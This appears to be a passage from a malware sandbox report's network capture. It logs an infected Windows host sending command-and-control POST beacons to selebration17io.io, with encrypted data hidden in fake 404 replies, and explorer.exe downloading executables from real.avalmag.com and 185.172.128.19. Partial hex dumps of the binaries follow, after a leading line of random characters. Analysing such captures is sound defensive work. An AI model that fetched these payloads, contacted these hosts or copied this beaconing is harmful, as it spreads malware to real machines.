IJ%9Wd8IkDJ8P>%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShG9x;Re?[cgb2FaTS~0`orKTEr=l3Ob>!Z:V?#BSSQU+~ExU$$REa~E~OtzN.%Qa?\|(HkJ1d/MF$l#l)l~qhJOkyLEW;r#u1yr+Lc1<'i3FHU%hY?U@Wd{9f(_@=fd0QpKk1:TU)o)22[P&}WL\h[bX?MtyPmCbzJE([zv7 R:VcqJ~1pvl8.5)C!o:3%w/#wN=bRLEsRW!}VQ]U<Bfs?ex`-_xm^2rB9GQ =TZ\Z_i9nX%Sr^3m~CvbE.`:2nJeig:X]y7gT$:jqw'eSUHc6Zkvbi2NN/KtO$tli#72x~f5Q&re??f`;Gd-0c=ls='5N#UKk'lZ6U^\.Wb9eV2v
Feb 5, 2024 10:57:28.812474012 CET	287	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://tgqgfcwnhlttrtx.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 189 Host: selebration17io.io
Feb 5, 2024 10:57:29.070739985 CET	604	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 05 Feb 2024 09:57:28 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 65 6c 65 62 72 61 74 69 6f 6e 31 37 69 6f 2e 69 6f 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at selebration17io.io Port 80</address></body></html>0
Feb 5, 2024 10:57:29.250756025 CET	288	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://orrhvtxshaokwsqk.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 345 Host: selebration17io.io
Feb 5, 2024 10:57:29.508344889 CET	604	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 05 Feb 2024 09:57:29 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 65 6c 65 62 72 61 74 69 6f 6e 31 37 69 6f 2e 69 6f 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at selebration17io.io Port 80</address></body></html>0
Feb 5, 2024 10:57:29.582251072 CET	286	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://khdbgckdvontrb.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 160 Host: selebration17io.io
Feb 5, 2024 10:57:29.840256929 CET	240	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 05 Feb 2024 09:57:29 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 33 34 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 0f 90 10 dd 1a d3 e0 01 af 24 f0 2d 0b 5a 38 fd 29 00 65 98 59 66 1b 7d d7 e2 89 bd cc 6a c1 7e 2f 0d 0a 30 0d 0a 0d 0a Data Ascii: 34Uys/~(`:$-Z8)eYf}j~/0
Feb 5, 2024 10:57:32.725828886 CET	283	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nrxnuujhxpl.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 257 Host: selebration17io.io
Feb 5, 2024 10:57:32.983057976 CET	604	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 05 Feb 2024 09:57:32 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 65 6c 65 62 72 61 74 69 6f 6e 31 37 69 6f 2e 69 6f 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at selebration17io.io Port 80</address></body></html>0
Feb 5, 2024 10:57:32.989710093 CET	287	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jsmyahdwsubasiy.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 311 Host: selebration17io.io
Feb 5, 2024 10:57:33.250060081 CET	259	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 05 Feb 2024 09:57:33 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 37 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 4c cd 44 9f 05 85 a4 4e f2 7b a9 64 14 00 78 a2 3e 5c 67 d8 0f 2b 09 7a 80 f5 d3 ed d7 70 97 3f 2e 5e 61 be b4 bf f7 5a 6e 94 2b 7b be d5 d4 3f a6 55 70 fb 0d 0a 30 0d 0a 0d 0a Data Ascii: 47Uys/~(`:LDN{dx>\g+zp?.^aZn+{?Up0
Feb 5, 2024 10:57:43.555192947 CET	287	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://pkbxupxnrnvhdja.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 321 Host: selebration17io.io
Feb 5, 2024 10:57:43.812252998 CET	604	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 05 Feb 2024 09:57:43 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 65 6c 65 62 72 61 74 69 6f 6e 31 37 69 6f 2e 69 6f 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at selebration17io.io Port 80</address></body></html>0
Feb 5, 2024 10:57:43.815352917 CET	286	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rqifyksvindghm.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 318 Host: selebration17io.io
Feb 5, 2024 10:57:44.072849989 CET	232	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 05 Feb 2024 09:57:43 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 63 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 09 87 1c c1 57 9c f5 0f ae 66 f2 22 40 5a 3c bf 6f 0a 60 89 40 67 1b 71 c1 0d 0a 30 0d 0a 0d 0a Data Ascii: 2cUys/~(`:Wf"@Z<o`@gq0
Feb 5, 2024 10:57:48.205024004 CET	286	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gwknnrrvkljxbr.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 311 Host: selebration17io.io
Feb 5, 2024 10:57:48.465245008 CET	604	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 05 Feb 2024 09:57:48 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 65 6c 65 62 72 61 74 69 6f 6e 31 37 69 6f 2e 69 6f 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at selebration17io.io Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49736	104.21.67.46	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:57:30.239691973 CET	170	OUT	GET /data/pdf/may.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: real.avalmag.com
Feb 5, 2024 10:57:30.574423075 CET	1286	IN	HTTP/1.1 200 OK Date: Mon, 05 Feb 2024 09:57:30 GMT Content-Type: application/octet-stream Content-Length: 7668707 Connection: keep-alive Content-Description: File Transfer Content-Disposition: attachment; filename=may.exe Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate Pragma: public CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=VOYz4bFmbxlxBkitVb9cXSv2zCcXBCubtL7Qd0He1BSaS87tgDfgZM2OAVVTawQDxTHk8uJxCVDYzF%2FDlBS9MfEMHbmaLZrWxrb3Xq34p%2FrafmKaAZN2HtOHcQdGMr%2BUaVgD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 850a4a205a64ad58-ATL alt-svc: h3=":443"; ma=86400 Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8f 81 0b 01 02 19 00 94 00 00 00 46 00 00 00 00 00 00 40 9c 00 00 00 10 00 00 00 b0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 01 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 40 01 00 00 04 00 00 00 00 00 00 02 00 00 80 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 50 09 00 00 00 10 01 00 00 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 4f 44 45 00 00 00 00 64 93 00 00 00 10 00 00 00 94 00 00 00 04 00 00 00 00 Data Ascii: MZP@!L!This program must be run under Win32$7PEL^B*F@@@@P,CODEd
Feb 5, 2024 10:57:30.574481010 CET	1286	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 20 00 00 60 44 41 54 41 00 00 00 00 4c 02 00 00 00 b0 00 00 00 04 00 00 00 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 42 53 53 00 00 00 00 00 88 0e 00 00 00 c0 00 00 00 00 00 00 00 9c 00 00 00 00 00 00 Data Ascii: `DATAL@BSS.idataP@.tls.rdata@P.reloc
Feb 5, 2024 10:57:30.574517965 CET	1286	IN	Data Raw: 08 89 0a 89 51 04 8b 15 38 c4 40 00 89 10 a3 38 c4 40 00 c3 53 56 57 55 51 8b f1 89 14 24 8b e8 8b 5d 00 8b 04 24 8b 10 89 16 8b 50 04 89 56 04 8b 3b 8b 43 08 8b d0 03 53 0c 3b 16 75 14 8b c3 e8 b7 ff ff ff 8b 43 08 89 06 8b 43 0c 01 46 04 eb 16 Data Ascii: Q8@8@SVWUQ$]$PV;CS;uCCFV;uCF;uUu3Z]_^[@SVWU2C;rlJk;w^;uBCB)C{uD5;r{;u)s&J$+\|$+S
Feb 5, 2024 10:57:30.574554920 CET	1286	IN	Data Raw: ff ff ff 8d 4c 24 0c 8b 54 24 08 8b 44 24 04 e8 da fc ff ff 8b 04 24 33 d2 89 10 eb 48 8b 6b 08 3b f5 75 3a 3b 7b 0c 7f 35 8b 0c 24 8b d7 8b c5 e8 71 fd ff ff 8b 04 24 83 38 00 74 28 8b 04 24 8b 40 04 01 43 08 8b 04 24 8b 40 04 29 43 0c 83 7b 0c Data Ascii: L$T$D$$3Hk;u:;{5$q$8t($@C$@)C{u$3]_^[SVW$?4$;s[+L$L@]\$tL$T$&D$D$D$D$\|$tT$L@3
Feb 5, 2024 10:57:30.574592113 CET	1286	IN	Data Raw: 74 c4 40 00 8b 44 90 f4 85 c0 75 10 a1 74 c4 40 00 89 5c 90 f4 89 5b 04 89 1b eb 3a 8b 10 89 43 04 89 13 89 18 89 5a 04 eb 2c 81 fe 00 3c 00 00 7c 0d 8b d6 8b c7 e8 09 ff ff ff 84 c0 75 17 a1 68 c4 40 00 89 1d 68 c4 40 00 8b 10 89 43 04 89 13 89 Data Ascii: t@Dut@\[:CZ,<\|uh@h@CZ_^[=l@~@=l@}@+l@p@p@3p@3l@SVW<$L$x@<\$u3R;s)GGt$
Feb 5, 2024 10:57:30.574630022 CET	1286	IN	Data Raw: f0 e8 90 f8 ff ff 81 e3 fc ff ff 7f 8b c6 03 c3 8b f8 3b 3d 70 c4 40 00 75 2c 29 1d 70 c4 40 00 01 1d 6c c4 40 00 81 3d 6c c4 40 00 00 3c 00 00 7e 05 e8 1f fb ff ff 33 c0 89 45 fc e8 e9 0c 00 00 e9 85 00 00 00 8b 10 f6 c2 02 74 1c 81 e2 fc ff ff Data Ascii: ;=p@u,)p@l@=l@<~3Et}@7)xt8tx}@P;@E3ZYYdh"@=2@th@E_^[Y]SVWU}
Feb 5, 2024 10:57:30.574668884 CET	1286	IN	Data Raw: 08 4e 75 e2 eb 06 83 c0 04 83 c2 04 5e 83 e6 03 74 36 8a 08 3a 0a 75 30 4e 74 13 8a 48 01 3a 4a 01 75 25 4e 74 08 8a 48 02 3a 4a 02 75 1a 31 c0 5e 5b c3 5e 38 d9 75 10 38 fd 75 0c c1 e9 10 c1 eb 10 38 d9 75 02 38 fd 5e 5b c3 90 57 89 c7 88 cd 89 Data Ascii: Nu^t6:u0NtH:Ju%NtH:Ju1^[^8u8u8u8^[Wfx_i,@B,@SVWPtQ11F t-tE+tB$tBt20w*9w&Fut\|Y12_^[F~[)F
Feb 5, 2024 10:57:30.574707031 CET	1286	IN	Data Raw: 8b 00 00 00 ff d2 85 c0 0f 84 81 00 00 00 8b 54 24 0c e8 db fe ff ff 89 c2 8b 44 24 04 8b 48 0c 83 48 04 02 53 31 db 56 57 55 64 8b 1b 53 50 52 51 8b 54 24 28 6a 00 50 68 79 2c 40 00 52 e8 53 e5 ff ff 8b 7c 24 28 e8 d2 04 00 00 ff b0 00 00 00 00 Data Ascii: T$D$HHS1VWUdSPRQT$(jPhy,@RS\|$(o_G,@RA_D$@8tr@u@T$SVWUJYqt=9t7H
Feb 5, 2024 10:57:30.574744940 CET	1286	IN	Data Raw: eb 0c 53 a1 d0 c3 40 00 50 e8 ca e0 ff ff 89 1d 8c c4 40 00 5b c3 8b c0 8a 0d 30 c0 40 00 8b 05 d0 c3 40 00 84 c9 75 28 64 8b 15 2c 00 00 00 8b 04 82 c3 e8 98 ff ff ff 8b 05 d0 c3 40 00 50 e8 8c e0 ff ff 85 c0 74 01 c3 8b 05 8c c4 40 00 c3 50 e8 Data Ascii: S@P@[0@@u(d,@Pt@PzttJI\|JuBSVtJI\|JuBNu^[t#JAPRBXXRH\|ZXJtJI\|JuB@t
Feb 5, 2024 10:57:30.574786901 CET	1286	IN	Data Raw: 50 53 57 6a 00 6a 00 e8 ce db ff ff 8b c8 8b d4 8b c6 e8 1f fc ff ff eb 33 6a 00 6a 00 6a 00 6a 00 53 57 6a 00 6a 00 e8 ae db ff ff 8b e8 8b c6 8b cd 33 d2 e8 fd fb ff ff 6a 00 6a 00 55 8b 06 50 53 57 6a 00 6a 00 e8 8e db ff ff 81 c4 00 08 00 00 Data Ascii: PSWjj3jjjjSWjj3jjUPSWjj]_^[@SVS]^[SVWU) =}+hD$PV'PjjPD$P"(jjVSjjUjUWVSjj
Feb 5, 2024 10:57:30.574945927 CET	579	IN	Data Raw: 0f 84 c9 00 00 00 2d 81 00 00 00 73 02 33 c0 6a 00 6a 00 50 ff 36 e8 79 d6 ff ff 40 0f 84 ad 00 00 00 6a 00 8b d4 6a 00 52 68 80 00 00 00 8d 96 4c 01 00 00 52 ff 36 e8 40 d6 ff ff 5a 48 0f 85 8b 00 00 00 33 c0 3b c2 73 4c 80 bc 06 4c 01 00 00 1a Data Ascii: -s3jjP6y@jjRhLR6@ZH3;sLLt@jj+P6/@tg6Hu]"F$O:@~tjjt;~t6tuF R:@3^6sFiFLH3@@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49743	185.172.128.19	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:57:33.463346958 CET	189	OUT	GET /288c47bbc1871b439df19ff4df68f0776.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 185.172.128.19
Feb 5, 2024 10:57:33.665971041 CET	1286	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 05 Feb 2024 09:57:33 GMT Content-Type: application/octet-stream Content-Length: 9104384 Last-Modified: Fri, 02 Feb 2024 16:13:27 GMT Connection: keep-alive ETag: "65bd14a7-8aec00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 a7 14 bd 65 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 e2 8a 